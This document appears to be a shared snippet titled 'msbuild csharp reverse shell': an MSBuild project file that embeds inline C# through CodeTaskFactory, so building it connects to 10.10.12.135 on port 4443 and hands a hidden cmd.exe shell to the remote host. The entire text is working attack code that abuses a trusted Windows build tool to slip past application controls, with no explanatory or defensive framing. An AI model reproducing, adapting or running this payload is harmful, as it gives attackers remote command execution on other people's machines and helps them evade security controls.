msbuild csharp reverse shell

csrev.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 <Target Name="Hello">
 <ClassExample />
 </Target>
 <UsingTask
 TaskName="ClassExample"
 TaskFactory="CodeTaskFactory"
 AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
 <Task>
 
 <Code Type="Class" Language="cs">
 <![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
public class ClassExample :  Task, ITask
{
    static StreamWriter streamWriter;
    public override bool Execute()
    {
        using(TcpClient client = new TcpClient("10.10.12.135", 4443))
        {
            using(Stream stream = client.GetStream())
            {
                using(StreamReader rdr = new StreamReader(stream))
                {
                    streamWriter = new StreamWriter(stream);
                    StringBuilder strInput = new StringBuilder();
                    Process p = new Process();
                    p.StartInfo.FileName = "cmd.exe";
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardInput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                    p.Start();
                    p.BeginOutputReadLine();
                    while(true)
                    {
                        strInput.Append(rdr.ReadLine());
                        //strInput.Append("\n");
                        p.StandardInput.WriteLine(strInput);
                        strInput.Remove(0, strInput.Length);
                    }
                    return true;
                }
            }
        }
    }
    private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();
        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception err) { }
        }
    }
}
 ]]>
 </Code>
 </Task>
 </UsingTask>
</Project>